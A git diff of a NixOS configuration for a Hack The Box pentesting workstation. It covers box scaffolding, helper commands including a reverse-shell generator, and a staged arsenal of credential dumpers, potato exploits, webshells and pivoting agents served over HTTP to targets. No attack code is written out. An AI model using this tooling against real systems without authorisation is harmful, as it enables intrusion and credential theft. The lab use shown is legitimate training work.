-# recon/ nmap, rustscan, masscan, dns
-# enum/ per-service enumeration output
-# creds/ hashes, passwords, tickets
-# loot/ files pulled off the target
-# exploit/ PoCs and anything you wrote to land a shell
-# serve/ files staged to hand TO the target
-# casts/ terminal recordings (casts.nix)
+# box.json the manifest: ip, os, difficulty, hostnames, domain, status,
+# flags, creds, ports, notes. Every other tool reads it.
+# writeup.md the post, rendered once from the vault's Templater template
+# recon/ enum/ creds/ loot/ exploit/ serve/ casts/
#
-# `serve/` rather than `payloads/` on purpose: the toolkit already exports a
-# global $PAYLOADS (payloads.nix) holding the cross-built binaries, so a
-# per-box `payloads/` would read as the same thing and is not.
+# `serve/` rather than `payloads/`: the global arsenal is ~/pentesting
+# ($PAYLOADS, paths.nix), and a per-box `payloads/` would read as the same thing.
#
-# The slug is `htb-<name>` to match content/htb/<slug>/ on the website, and it
-# is recorded in box.json rather than derived twice.
+# `new` and `use` write $STATE/box and call htbtarget, so $BOX, $BOXDIR,
+# $TARGET and /etc/hosts all follow the box in every terminal (htb.nix).
{ lib, ... }:
{
flake.nixosModules.pentest-boxes =
@@ -31,160 +29,21 @@
let
on = config.daemon.pentest.enable;
- render = pkgs.writeText "htb-boxrender.py" (builtins.readFile ./_boxrender.py);
-
- htbbox = pkgs.writeShellScriptBin "htbbox" ''
- set -uo pipefail
- PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnused pkgs.gnugrep pkgs.gum pkgs.jq ]}:$PATH
- STATE="''${XDG_STATE_HOME:-$HOME/.local/state}/htb"
- mkdir -p "$STATE"
- ROOT="$HOME/htb"
- VAULT="''${NETRUNNER_VAULT:-$HOME/git/NetrunnerVault}"
- TEMPLATE="$VAULT/00Meta/Templates/daemon-sec-htb-post.md"
-
- # printf, not a heredoc: this whole script is indented inside a Nix
- # string, and an INDENTED heredoc terminator does not terminate --
- # `<<-` strips tabs, not spaces. htb.nix hit this before; bash -n at
- # build time is what catches it.
- usage() {
- printf '%s\n' \
- 'usage:' \
- ' htbbox new [-n name] [-i ip] [-d easy|medium|hard|insane] [-o windows|linux|other]' \
- ' htbbox ls' \
- ' htbbox info [box]' \
- ' htbbox path [box]'
- }
-
- slugify() {
- printf '%s' "$1" | tr '[:upper:]' '[:lower:]' | sed -e 's/[^a-z0-9]\+/-/g' -e 's/^-//' -e 's/-$//'
+ htbbox = pkgs.runCommand "htbbox"
+ {
+ nativeBuildInputs = [ pkgs.makeWrapper pkgs.python3 ];
+ meta.mainProgram = "htbbox";
}
-
- # The box currently being worked, for the commands that take no argument.
- current() { [ -s "$STATE/box" ] && cat "$STATE/box"; }
-
- case "''${1:-ls}" in
- new)
- shift
- name="" ip="" difficulty="" target_os=""
- while [ "$#" -gt 0 ]; do
- case "$1" in
- -n|--name) name="''${2:-}"; shift 2 ;;
- -i|--ip) ip="''${2:-}"; shift 2 ;;
- -d|--difficulty) difficulty="''${2:-}"; shift 2 ;;
- -o|--os) target_os="''${2:-}"; shift 2 ;;
- -h|--help) usage; exit 0 ;;
- *) echo "htbbox: unknown option: $1" >&2; usage >&2; exit 2 ;;
- esac
- done
-
- # Anything not given on the command line is prompted for. gum is
- # used rather than `read` so the choose lists cannot produce an
- # invalid value in the first place.
- if [ -z "$name" ]; then
- name=$(gum input --prompt "machine name > " --placeholder "Sauna") || exit 1
- fi
- [ -n "$name" ] || { echo "htbbox: a machine name is required" >&2; exit 2; }
- if [ -z "$ip" ]; then
- ip=$(gum input --prompt "target ip > " --placeholder "10.10.10.175") || exit 1
- fi
- if [ -z "$difficulty" ]; then
- difficulty=$(gum choose --header "difficulty" easy medium hard insane) || exit 1
- fi
- if [ -z "$target_os" ]; then
- target_os=$(gum choose --header "operating system" windows linux other) || exit 1
- fi
-
- slug_name=$(slugify "$name")
- [ -n "$slug_name" ] || { echo "htbbox: name has no usable characters: $name" >&2; exit 2; }
-
- case "$difficulty" in
- easy|medium|hard|insane) ;;
- *) echo "htbbox: difficulty must be easy, medium, hard or insane (got: $difficulty)" >&2; exit 2 ;;
- esac
- # Capitalised for the template's frontmatter, which the website reads.
- case "$(printf '%s' "$target_os" | tr '[:upper:]' '[:lower:]')" in
- windows) target_os="Windows" ;;
- linux) target_os="Linux" ;;
- other) target_os="Other" ;;
- *) echo "htbbox: os must be windows, linux or other (got: $target_os)" >&2; exit 2 ;;
- esac
- if [ -n "$ip" ]; then
- case "$ip" in
- *[!0-9.]*) echo "htbbox: not an IPv4 address: $ip" >&2; exit 2 ;;
- esac
- fi
-
- d="$ROOT/$slug_name"
- mkdir -p "$d"/{recon,enum,creds,loot,exploit,serve,casts}
-
- BOX_NAME="$name" BOX_SLUG="htb-$slug_name" BOX_IP="$ip" \
- BOX_OS="$target_os" BOX_DIFFICULTY="$difficulty" BOX_DIR="$d" \
- BOX_TEMPLATE="$TEMPLATE" \
- ${pkgs.python3}/bin/python3 ${render} || exit 1
-
- printf '%s\n' "$slug_name" > "$STATE/box"
- # Set $TARGET too, so the whole toolkit points at this box at once.
- # htb.nix owns htbtarget; reached through the profile, as the rest
- # of the toolkit reaches root-side helpers.
- if [ -n "$ip" ] && [ -x /run/current-system/sw/bin/htbtarget ]; then
- /run/current-system/sw/bin/htbtarget "$ip" >/dev/null || true
- fi
- echo "$d"
- ;;
-
- ls)
- [ -d "$ROOT" ] || { echo "no boxes yet — htbbox new"; exit 0; }
- # Built up and printed ONCE, then exit 0 explicitly. A reader like
- # `htbbox ls | grep -q foo` closes the pipe on its first match, and
- # every later write then fails with EPIPE and takes the exit status
- # with it -- which is exactly how the VM test caught this.
- out=""
- for j in $(ls -1dt "$ROOT"/*/ 2>/dev/null); do
- b=''${j%/}; b=''${b##*/}
- if [ -s "$j/box.json" ]; then
- out="$out$(printf '%-20s %-15s %-7s %s' "$b" \
- "$(jq -r '.ip // "-"' "$j/box.json")" \
- "$(jq -r '.difficulty // "-"' "$j/box.json")" \
- "$(jq -r '.os // "-"' "$j/box.json")")
-"
- else
- out="$out$(printf '%-20s %s' "$b" "(no manifest)")
-"
- fi
- done
- [ -n "$out" ] || out="no boxes yet — htbbox new
-"
- printf '%s' "$out" || true
- exit 0 ;;
-
- info)
- b="''${2:-$(current)}"
- [ -n "$b" ] || { echo "htbbox: no box given and none current" >&2; exit 2; }
- d="$ROOT/$b"
- [ -d "$d" ] || { echo "htbbox: no such box: $b" >&2; exit 2; }
- out=""
- [ -s "$d/box.json" ] && out="$(jq . "$d/box.json")
-"
- for sub in recon enum creds loot exploit serve casts; do
- n=$(ls -1A "$d/$sub" 2>/dev/null | wc -l)
- out="$out$(printf ' %-8s %s' "$sub" "$n")
-"
- done
- # One write, then exit 0 -- see the note in `ls`.
- printf '%s' "$out" || true
- exit 0 ;;
-
- path)
- b="''${2:-$(current)}"
- [ -n "$b" ] || { echo "htbbox: no box given and none current" >&2; exit 2; }
- [ -d "$ROOT/$b" ] || { echo "htbbox: no such box: $b" >&2; exit 2; }
- echo "$ROOT/$b"
- ;;
-
- -h|--help) usage ;;
- *) usage >&2; exit 2 ;;
- esac
- '';
+ ''
+ install -Dm0644 ${./_htbbox.py} $out/libexec/htbbox.py
+ # A syntax error should fail the build, not the first `htbbox new`.
+ python3 -m py_compile $out/libexec/htbbox.py
+ rm -rf $out/libexec/__pycache__
+ makeWrapper ${pkgs.python3}/bin/python3 $out/bin/htbbox \
+ --add-flags "-I $out/libexec/htbbox.py" \
+ --prefix PATH : ${lib.makeBinPath [ pkgs.gum ]}
+ install -Dm0644 ${./_completions/_htbbox} $out/share/zsh/site-functions/_htbbox
+ '';
in
{
config = lib.mkIf on {
diff --git a/modules/features/pentest/crack.nix b/modules/features/pentest/crack.nix
@@ -21,10 +21,11 @@
cewl
hashid
python3Packages.name-that-hash # `nth`
+ haiti # hash identifier that also prints the hashcat/john mode
];
expectedBins = [
"hashcat" "john" "hydra" "medusa" "crowbar"
- "crunch" "cewl" "hashid" "nth"
+ "crunch" "cewl" "hashid" "nth" "haiti"
];
}
diff --git a/modules/features/pentest/default.nix b/modules/features/pentest/default.nix
@@ -33,7 +33,9 @@
pentest-htb # htbtarget/htbtime: the box you are on
pentest-boxes # htbbox: the per-box tree and its writeup.md
pentest-casts # htbcast: terminal recordings as raw write-up material
- pentest-payloads # $PAYLOADS and payload-serve (multi-arch, cross-built)
+ pentest-helpers # revshell, htbscan, hcmode (from IceBreaker)
+ pentest-payloads # the arsenal tree and payload-serve (multi-arch, cross-built)
+ pentest-paths # ~/pentesting, the $privesc/$potatoes/$ligolo… vars, htbpaths
pentest-update # pentest-update: move the _pkgs pins forward
pentest-gui # burp, zap, ghidra, wireshark (desktop entries)
diff --git a/modules/features/pentest/devshells.nix b/modules/features/pentest/devshells.nix
@@ -22,7 +22,11 @@
{ pkgs, lib, ... }:
let
sets = self.lib.pentestPackages or { };
- allPackages = lib.concatMap (f: f pkgs) (lib.attrValues sets);
+ # Only what builds on this system: on aarch64-linux a few tools are
+ # x86-only. On x86_64 nothing is dropped.
+ allPackages = builtins.filter (lib.meta.availableOn pkgs.stdenv.hostPlatform) (
+ lib.concatMap (f: f pkgs) (lib.attrValues sets)
+ );
names = lib.attrNames sets;
in
{
diff --git a/modules/features/pentest/dfir.nix b/modules/features/pentest/dfir.nix
@@ -18,11 +18,13 @@
testdisk # testdisk, photorec
chntpw # offline SAM / registry editing
binwalk
+ steghide stegseek zsteg # stego: jpg/wav, steghide brute force, png/bmp
];
expectedBins = [
"vol" "volshell" "fls" "icat" "fsstat" "yara" "capa"
"chainsaw" "hayabusa" "exiftool" "foremost" "testdisk" "photorec"
"chntpw" "binwalk"
+ "steghide" "stegseek" "zsteg"
];
}
diff --git a/modules/features/pentest/helpers.nix b/modules/features/pentest/helpers.nix
@@ -0,0 +1,46 @@
+# modules/features/pentest/helpers.nix — the small daily-use commands, taken
+# from IceBreaker (~/Downloads/IceBreaker-main.zip, scripts/ and home/zsh.nix)
+# and rewired to this toolkit's state instead of IceBreaker's ~/targets tree.
+#
+# revshell [type] [port] reverse shell one-liners; LHOST from htbip
+# htbscan [full|udp|ports] nmap passes into $BOXDIR/recon, then htbbox ports
+# hcmode [word|number] hashcat -m lookup, read from the installed hashcat
+#
+# What was NOT taken, and why: newbox/flag/cred/settarget (htbbox and
+# htbtarget already do this, with box.json behind them), setproxy (it seds
+# proxychains.conf, which is generated by programs.proxychains in pivot.nix),
+# ligolo-fetch.sh (payloads.nix builds ligolo from source per arch),
+# install-pipx-tools.sh (python.nix pins the same tools declaratively),
+# tmux-htb.sh (~/.dotfiles/scripts/htb-layout.sh) and icebreaker-bench (the
+# dissertation's benchmark harness, not a tool).
+#
+# The scripts live in _helpers/ as plain bash so shellcheck (which
+# writeShellApplication runs at build time) sees them unescaped. htbip,
+# htbbox and sudo are deliberately NOT runtimeInputs: they come from the
+# system (vpn.nix, boxes.nix, the setuid wrapper), and a store copy of htbbox
+# would read a different $STATE than the one on PATH.
+{ lib, ... }:
+{
+ flake.nixosModules.pentest-helpers =
+ { config, pkgs, lib, ... }:
+ let
+ on = config.daemon.pentest.enable;
+
+ mk = name: runtimeInputs:
+ pkgs.writeShellApplication {
+ inherit name runtimeInputs;
+ text = builtins.readFile ./_helpers/${name}.sh;
+ };
+
+ helpers = [
+ (mk "revshell" (with pkgs; [ coreutils jq gum wl-clipboard glibc.bin ]))
+ (mk "htbscan" (with pkgs; [ coreutils gnugrep nmap ]))
+ (mk "hcmode" (with pkgs; [ gnugrep gawk hashcat ]))
+ ];
+ in
+ {
+ config = lib.mkIf on {
+ environment.systemPackages = helpers;
+ };
+ };
+}
diff --git a/modules/features/pentest/htb.nix b/modules/features/pentest/htb.nix
@@ -6,9 +6,9 @@
# htbtarget clear forget it, and clear /etc/hosts
# htbtime [host] clock-skew helper (defaults to $TARGET)
#
-# htbbox moved to boxes.nix, which scaffolds the whole per-box tree and renders
-# writeup.md from the vault template. It still writes $STATE/box and calls
-# htbtarget, so the two halves stay in step.
+# htbbox lives in boxes.nix (_htbbox.py): the per-box tree, box.json and
+# writeup.md. It writes $STATE/box and calls htbtarget, so the two halves stay
+# in step; the loader below turns $STATE/box into $BOX and $BOXDIR.
#
# It is `htbbox`, not `htb`, on purpose: the dotfiles' pentesting.zsh already
# defines an `htb()` shell function, and a zsh function always beats a command
@@ -247,8 +247,9 @@
local b
b="$(<"$_htb_state/box")"
export BOX="''${b%%$'\n'*}"
+ export BOXDIR="''${HTB_ROOT:-$HOME/htb}/$BOX"
else
- unset BOX
+ unset BOX BOXDIR
fi
}
autoload -Uz add-zsh-hook
@@ -404,6 +405,21 @@
machine.succeed(as_user("htbbox path") + " | grep -q /htb/escapetwo")
machine.succeed(as_user("htbbox info") + " | grep -q EscapeTwo")
+ # Positional form, any order, with hostnames: the shape of each
+ # argument says what it is.
+ machine.succeed(as_user("htbbox new 10.10.11.9 hard Vintage linux dc01.vintage.htb vintage.htb"))
+ machine.succeed("grep -q '\"os\": \"Linux\"' /home/daemonsec/htb/vintage/box.json")
+ machine.succeed("grep -q '\"domain\": \"vintage.htb\"' /home/daemonsec/htb/vintage/box.json")
+ machine.succeed("grep -q '10.10.11.9 dc01.vintage.htb vintage.htb' /etc/hosts")
+ machine.succeed(as_user("htbbox cred svc_sql 'Passw0rd!' mssql"))
+ machine.succeed(as_user("htbbox json creds") + " | grep -q svc_sql")
+ machine.succeed(as_user("htbbox flag user 0123456789abcdef0123456789abcdef"))
+ assert machine.succeed(as_user("htbbox json status")).strip() == "user"
+ machine.succeed(as_user("htbbox use escapetwo"))
+ machine.succeed(as_user("htbtarget") + " | grep -q 10.10.11.202")
+ out = machine.succeed("su -l daemonsec -c 'zsh -ic \"echo D=\\$BOXDIR\"'")
+ assert "D=/home/daemonsec/htb/escapetwo" in out, out
+
# Bad input is refused rather than written into the manifest.
machine.fail(as_user("htbbox new -n Nope -d impossible -o linux -i 10.0.0.1"))
machine.fail(as_user("htbbox new -n Nope -d easy -o plan9 -i 10.0.0.1"))
diff --git a/modules/features/pentest/paths.nix b/modules/features/pentest/paths.nix
@@ -0,0 +1,187 @@
+# modules/features/pentest/paths.nix — ~/pentesting, the variables that point
+# into it, and `htbpaths` to find your way around.
+#
+# ~/pentesting/ the arsenal, one directory per job
+# privesc/ creds/ ad/ pivoting/ recon/ shells/ webshells/ scripts/
+# exploits/ sharpcollection/ wordlists/ -> read-only, from the Nix store
+# local/ -> yours, writable, never touched
+#
+# htbpaths every variable, where it points, how full it is
+# htbpaths potatoes just the path: cd "$(htbpaths potatoes)"
+# htbpaths find godpotato where a file is, and the URL payload-serve gives it
+# htbpaths tree [name] a two-level tree
+# htbpaths env `export` lines, for a shell started before login
+#
+# The variables are lowercase because that is how they are typed all day
+# ($privesc, $potatoes, $ligolo). None of them is a name zsh or bash treats
+# specially ($path, $status, $prompt… are avoided on purpose). $PAYLOADS and
+# $WORDLISTS stay as uppercase aliases for scripts that already use them.
+#
+# Why symlinks into the store and not a download script: every file is pinned
+# by hash in _pkgs/ and payloads.nix, so ~/pentesting rolls back with the
+# system generation and is identical on a reinstall. The category links are
+# re-pointed by systemd-tmpfiles on every switch; `local/` is a real directory
+# and is only ever created, never cleaned.
+#
+# ONE table below feeds the variables, the tmpfiles links, htbpaths and its
+# completion, so a new category is one line.
+{ lib, ... }:
+let
+ # name -> { rel = path under ~/pentesting; desc = what it is for }
+ # Order is the order `htbpaths` prints in.
+ table = [
+ { name = "pentesting"; rel = ""; desc = "the arsenal root"; }
+ { name = "wordlists"; rel = "wordlists"; desc = "seclists, rockyou, usernames"; }
+ { name = "seclists"; rel = "wordlists/seclists"; desc = "SecLists"; }
+ { name = "rockyou"; rel = "wordlists/rockyou.txt"; desc = "rockyou.txt (plain text)"; }
+ { name = "usernames"; rel = "wordlists/seclists/Usernames"; desc = "SecLists username lists"; }
+ { name = "privesc"; rel = "privesc"; desc = "privilege escalation, per OS"; }
+ { name = "winprivesc"; rel = "privesc/windows"; desc = "winPEAS, PrivescCheck, FullPowers, PowerUp"; }
+ { name = "potatoes"; rel = "privesc/windows/potatoes"; desc = "God/Sigma/Juicy/Rogue/PrintSpoofer… (SeImpersonate)"; }
+ { name = "linprivesc"; rel = "privesc/linux"; desc = "linpeas, lse, pspy, traitor…"; }
+ { name = "creds"; rel = "creds"; desc = "credential dumping"; }
+ { name = "mimikatz"; rel = "creds/mimikatz"; desc = "mimikatz, every build and arch"; }
+ { name = "ad"; rel = "ad"; desc = "SharpHound CE, Rubeus, Certify, Certipy, bloodyAD…"; }
+ { name = "sharpcollection"; rel = "sharpcollection"; desc = "the full SharpCollection, every framework"; }
+ { name = "sharp"; rel = "sharpcollection/NetFramework_4.7_x64"; desc = "SharpCollection, .NET 4.7 x64"; }
+ { name = "pivoting"; rel = "pivoting"; desc = "tunnels and port forwards, every OS/arch"; }
+ { name = "ligolo"; rel = "pivoting/ligolo-ng"; desc = "ligolo-ng agent + proxy, every OS/arch"; }
+ { name = "chisel"; rel = "pivoting/chisel"; desc = "chisel, every OS/arch"; }
+ { name = "recon"; rel = "recon"; desc = "scanners to run FROM a foothold"; }
+ { name = "nmapbin"; rel = "recon/nmap"; desc = "static nmap (linux) + portable nmap (windows)"; }
+ { name = "fscan"; rel = "recon/fscan"; desc = "fscan, every OS/arch"; }
+ { name = "shells"; rel = "shells"; desc = "nc, RunasCs, nishang, reverse shells"; }
+ { name = "webshells"; rel = "webshells"; desc = "php/asp/aspx/jsp webshells"; }
+ { name = "scripts"; rel = "scripts"; desc = "PowerView, PowerSploit, printer bug, nishang"; }
+ { name = "exploits"; rel = "exploits"; desc = "public exploits staged for targets"; }
+ { name = "mytools"; rel = "local"; desc = "YOUR tools — writable, never touched by Nix"; }
+ ];
+
+ # The store-backed categories linked into ~/pentesting (wordlists is linked
+ # from its own tree; local is a real directory).
+ linked = [ "privesc" "creds" "ad" "sharpcollection" "pivoting" "recon"
+ "shells" "webshells" "scripts" "exploits" "INVENTORY.txt" ];
+in
+{
+ flake.nixosModules.pentest-paths =
+ { config, pkgs, lib, user, ... }:
+ let
+ cfg = config.daemon.pentest;
+ on = cfg.enable && cfg.payloads.enable;
+ home = config.users.users.${user}.home;
+ group = config.users.users.${user}.group;
+ root = "${home}/pentesting";
+ abs = rel: if rel == "" then root else "${root}/${rel}";
+
+ # name|path|desc, one per line: the data htbpaths reads.
+ tsv = pkgs.writeText "htbpaths.tsv"
+ (lib.concatMapStrings (e: "${e.name}\t${abs e.rel}\t${e.desc}\n") table);
+
+ htbpaths = pkgs.writeShellScriptBin "htbpaths" ''
+ set -uo pipefail
+ PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.findutils pkgs.gawk pkgs.gnugrep pkgs.tree ]}:$PATH
+ TABLE=${tsv}
+ ROOT=${lib.escapeShellArg root}
+
+ if [ -t 1 ] && [ -z "''${NO_COLOR:-}" ]; then
+ B=$'\e[1m' D=$'\e[2m' M=$'\e[1;35m' R=$'\e[31m' Z=$'\e[0m'
+ else B="" D="" M="" R="" Z=""; fi
+
+ usage() {
+ printf '%s\n' \
+ 'usage: htbpaths every variable and where it points' \
+ ' htbpaths <name> print one path (cd "$(htbpaths potatoes)")' \
+ ' htbpaths find <pattern> locate a tool, with its payload-serve URL' \
+ ' htbpaths tree [name] two-level tree' \
+ ' htbpaths env export lines (eval "$(htbpaths env)")' \
+ ' htbpaths names just the names (completion)'
+ }
+
+ lookup() { awk -F'\t' -v n="$1" '$1==n {print $2; f=1} END {exit !f}' "$TABLE"; }
+
+ # The whole output is built first and written once, then exit 0: a
+ # reader like `htbpaths | grep -q x` closes the pipe early, and a
+ # write after that would turn EPIPE into this script's exit status.
+ case "''${1:-}" in
+ "")
+ out=$(awk -F'\t' -v B="$B" -v D="$D" -v M="$M" -v R="$R" -v Z="$Z" '
+ { n=$1; p=$2; d=$3
+ cmd = "test -e \"" p "\""; ok = (system(cmd) == 0)
+ cnt = ""
+ if (ok) { c = "find -L \"" p "\" -maxdepth 1 -mindepth 1 2>/dev/null | wc -l"; c | getline cnt; close(c); cnt = cnt+0 }
+ printf "%s%-17s%s %-52s %s%s%s\n", M, "$" n, Z, p (ok ? "" : R " (missing)" Z), D, d (cnt != "" && cnt > 0 ? " [" cnt "]" : ""), Z
+ }' "$TABLE")
+ printf '%s\n%s\n' "$out" "''${D}also: \$PAYLOADS / \$WORDLISTS (same files, store side) · \$BOXDIR = current box · htbpaths find <tool>''${Z}" || true
+ exit 0 ;;
+ names) cut -f1 "$TABLE" || true; exit 0 ;;
+ env)
+ awk -F'\t' '{printf "export %s=%s\n", $1, $2}' "$TABLE"
+ printf 'export PAYLOADS=%s\nexport WORDLISTS=%s\n' "$ROOT" "$ROOT/wordlists"
+ exit 0 ;;
+ find|f)
+ pat="''${2:-}"
+ [ -n "$pat" ] || { echo "usage: htbpaths find <pattern>" >&2; exit 2; }
+ # Wordlists are skipped unless asked for: seclists alone is tens of
+ # thousands of files and would bury the tool you are looking for.
+ res=$(find -L "$ROOT" \( -path "$ROOT/wordlists" -prune \) -o \
+ -iname "*$pat*" -print 2>/dev/null | sort)
+ [ -n "$res" ] || { echo "htbpaths: nothing matching '$pat' (wordlists not searched — try: find -L \$wordlists -iname '*$pat*')" >&2; exit 1; }
+ out=""
+ while IFS= read -r f; do
+ rel=''${f#"$ROOT"/}
+ out="$out$f
+ ''${D}payload-serve → http://\$LHOST:8000/$rel''${Z}
+"
+ done <<< "$res"
+ printf '%s' "$out" || true
+ exit 0 ;;
+ tree|t)
+ p=$ROOT
+ if [ -n "''${2:-}" ]; then p=$(lookup "$2") || { echo "htbpaths: unknown name: $2" >&2; exit 2; }; fi
+ tree -L 2 --noreport -l "$p" | head -200 || true
+ exit 0 ;;
+ -h|--help|help) usage; exit 0 ;;
+ *)
+ p=$(lookup "$1") || { echo "htbpaths: unknown name: $1 (htbpaths names)" >&2; exit 2; }
+ echo "$p"; exit 0 ;;
+ esac
+ '';
+
+ completion = pkgs.writeTextDir "share/zsh/site-functions/_htbpaths" ''
+ #compdef htbpaths
+ local -a names
+ names=( ${lib.concatMapStringsSep " " (e: lib.escapeShellArg "${e.name}:${e.desc}") table} )
+ if (( CURRENT == 2 )); then
+ _describe -t names 'path' names
+ _values 'command' find tree env names help
+ elif [[ $words[2] == (tree|t) ]]; then
+ _describe -t names 'path' names
+ fi
+ '';
+ in
+ {
+ config = lib.mkIf on {
+ environment.systemPackages = [ htbpaths completion ];
+
+ # Permanent: set for every login session (and so every shell, editor
+ # and script started from it). After the first switch, log out and in
+ # once, or `eval "$(htbpaths env)"` in a shell that predates it.
+ #
+ # Only the lowercase per-category variables are set here. $PAYLOADS and
+ # $WORDLISTS stay owned by payloads.nix and wordlists.nix (each pointing
+ # at its store tree), so they still resolve when this category is off —
+ # and so there is no mkForce-vs-mkForce conflict. The lowercase
+ # $wordlists points at the ~/pentesting symlink of the same tree.
+ environment.sessionVariables =
+ lib.listToAttrs (map (e: lib.nameValuePair e.name (abs e.rel)) table);
+
+ systemd.tmpfiles.rules =
+ [
+ "d ${root} 0755 ${user} ${group} -"
+ "d ${root}/local 0755 ${user} ${group} -"
+ "L+ ${root}/wordlists - - - - ${cfg.payloads.wordlistsTree}"
+ ]
+ ++ map (n: "L+ ${root}/${n} - - - - ${cfg.payloads.tree}/${n}") linked;
+ };
+ };
+}
diff --git a/modules/features/pentest/payloads.nix b/modules/features/pentest/payloads.nix
@@ -1,195 +1,229 @@
-# modules/features/pentest/payloads.nix — $PAYLOADS: everything you might drop
-# on a target, in one predictable tree, plus one command to serve it.
+# modules/features/pentest/payloads.nix — the arsenal tree that ~/pentesting
+# points at, plus one command to serve it.
#
-# $PAYLOADS/windows/{amd64,x86}/{creds,agents,privesc,privesc/potato,ad}
-# $PAYLOADS/linux/{amd64,arm64}/{agents,privesc}
-# $PAYLOADS/macos/arm64/agents
-# $PAYLOADS/scripts/{ad,printer,privesc}
-# $PAYLOADS/sharpcollection/ the full 102-tool set, per framework
+# The tree is laid out the way paths.nix names it, so $privesc, $potatoes,
+# $ligolo, $ad … each resolve to a real directory:
+#
+# privesc/{windows,windows/potatoes,linux} winPEAS, the potato family, pspy…
+# creds/{,mimikatz} mimikatz (every build), nanodump…
+# ad/{,SharpHound,KrbRelayEx,kerbrute} SharpHound CE, Rubeus, Certipy…
+# sharpcollection/ the full SharpCollection
+# pivoting/{ligolo-ng,chisel,socat} tunnels, every OS/arch
+# recon/{nmap,fscan} scanners to run from a foothold
+# shells/ webshells/ scripts/ exploits/
#
# payload-serve [port] HTTP, bound to the VPN interface only
# payload-serve --smb impacket smbserver, same binding
# payload-serve --list print the tree
#
-# Provenance, honestly: the Go tools (ligolo-ng, chisel) ARE cross-compiled
-# from source here, for windows/amd64, linux/arm64 and darwin/arm64, via a
-# GOOS/GOARCH override. mimikatz is NOT — nixpkgs' mimikatz repackages
-# gentilkiwi's official signed release zip, which already contains both Win32
-# and x64 builds, and building it from source would need MSVC. The .NET tools
-# in _pkgs/ are likewise pinned prebuilt releases. So: Go from source, the rest
-# pinned by hash.
-#
-# Versioned duplicates live here as distinct FILES rather than competing for a
-# PATH name — that is the whole reason payloads are files and not commands.
+# Provenance: Go tools nixpkgs carries (ligolo-ng, chisel, fscan, pspy) are
+# cross-compiled FROM SOURCE here for every target arch via GOOS/GOARCH — better
+# than any download. Everything else is a release asset pinned by hash in
+# _pkgs/assets.nix (the big table) or _pkgs/default.nix (mimikatz, SharpCollection,
+# the scripts). So: Go from source, the rest pinned, nothing fetched at runtime.
{ lib, self, ... }:
let
+ assets = import ./_pkgs/assets.nix;
+
mkTree =
{ pkgs, windowsArches }:
let
p = import ./_pkgs/default.nix { inherit lib pkgs; };
# Go cross-compile: nixpkgs has no mingw path for these, but Go does not
- # need one. Output lands in bin/<goos>_<goarch>/.
+ # need one. CGO_ENABLED=0 makes the linux builds static, so they run on a
+ # target that does not share this machine's glibc.
goCross = pkg: goos: goarch: pkg.overrideAttrs (o: {
- env = (o.env or { }) // {
- GOOS = goos;
- GOARCH = goarch;
- CGO_ENABLED = "0";
- };
+ env = (o.env or { }) // { GOOS = goos; GOARCH = goarch; CGO_ENABLED = "0"; };
doCheck = false;
doInstallCheck = false;
nativeInstallCheckInputs = [ ];
- postInstall = ""; # upstream's rename loop assumes a flat bin/
+ postInstall = ""; # upstream rename loops assume a native flat bin/
});
- # Go, cross-compiled from source. pkgsCross.mingwW64 is deliberately NOT
- # used for these: it fails for ligolo-ng (its install check tries to run
- # the Windows binary on the builder), while a plain GOOS/GOARCH override
- # works for every target. One mechanism for all of them.
- # Even the NATIVE linux slots go through goCross: a plain
- # pkgs.chisel/pspy is dynamically linked against this machine's glibc and
- # dies on a target with "No such file or directory". CGO_ENABLED=0 in
- # goCross makes them static.
- linLigolo = goCross pkgs.ligolo-ng "linux" "amd64";
- linChisel = goCross pkgs.chisel "linux" "amd64";
- linPspy = goCross pkgs.pspy "linux" "amd64";
- winLigolo = goCross pkgs.ligolo-ng "windows" "amd64";
- winChisel = goCross pkgs.chisel "windows" "amd64";
- armLigolo = goCross pkgs.ligolo-ng "linux" "arm64";
- armChisel = goCross pkgs.chisel "linux" "arm64";
- macLigolo = goCross pkgs.ligolo-ng "darwin" "arm64";
- macChisel = goCross pkgs.chisel "darwin" "arm64";
+ # One place to list every Go tool and the arches it ships for, so the
+ # install loop below is a table too. `src` is the name Go actually emits
+ # in bin/ (lig-ng builds `agent` and `proxy`; we want the agent); `bin`
+ # is the name it lands under here. A cross build lands in
+ # bin/<goos>_<goarch>/, a native one in bin/ — the loop searches both.
+ goTargets = {
+ ligolo-ng = {
+ src = "agent"; bin = "ligolo-agent";
+ arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
+ windows-amd64 = ["windows" "amd64"]; darwin-arm64 = ["darwin" "arm64"]; };
+ };
+ chisel = {
+ src = "chisel"; bin = "chisel";
+ arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
+ windows-amd64 = ["windows" "amd64"]; darwin-arm64 = ["darwin" "arm64"]; };
+ };
+ fscan = {
+ src = "fscan"; bin = "fscan";
+ arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"];
+ windows-amd64 = ["windows" "amd64"]; };
+ };
+ pspy = {
+ src = "pspy"; bin = "pspy";
+ arches = { linux-amd64 = ["linux" "amd64"]; linux-arm64 = ["linux" "arm64"]; };
+ };
+ };
+
+ # dest -> which pivoting/recon/privesc dir each Go tool lands in.
+ goDest = {
+ ligolo-ng = "pivoting/ligolo-ng";
+ chisel = "pivoting/chisel";
+ fscan = "recon/fscan";
+ pspy = "privesc/linux";
+ };
- # mimikatz: already both architectures inside the official release that
- # nixpkgs repackages, at share/windows/mimikatz/{x64,Win32}/.
- mimikatzNew = pkgs.mimikatz;
- mimikatzNewVer = lib.removePrefix "mimikatz-" pkgs.mimikatz.name;
+ installGo = name: spec:
+ lib.concatStrings (lib.mapAttrsToList
+ (slot: goa:
+ let
+ drv = goCross pkgs.${name} (builtins.elemAt goa 0) (builtins.elemAt goa 1);
+ win = builtins.elemAt goa 0 == "windows";
+ out = "$out/${goDest.${name}}/${slot}/${spec.bin}${lib.optionalString win ".exe"}";
+ in ''
+ mkdir -p "$(dirname ${out})"
+ # Cross -> bin/<goos>_<goarch>/<src>, native -> bin/<src>; and the
+ # windows build adds .exe. Match the EXACT source name so lig-ng's
+ # `proxy` is never grabbed instead of `agent`, and FAIL loudly if
+ # an upstream rename leaves nothing — a missing agent is a 2am find.
+ f=$(find -L ${drv}/bin -type f \( -name ${spec.src} -o -name ${spec.src}.exe \) | head -1)
+ [ -n "$f" ] || { echo "payloads: ${name} ${slot} produced no ${spec.src} binary" >&2; exit 1; }
+ install -m0755 "$f" ${out}
+ '')
+ spec.arches);
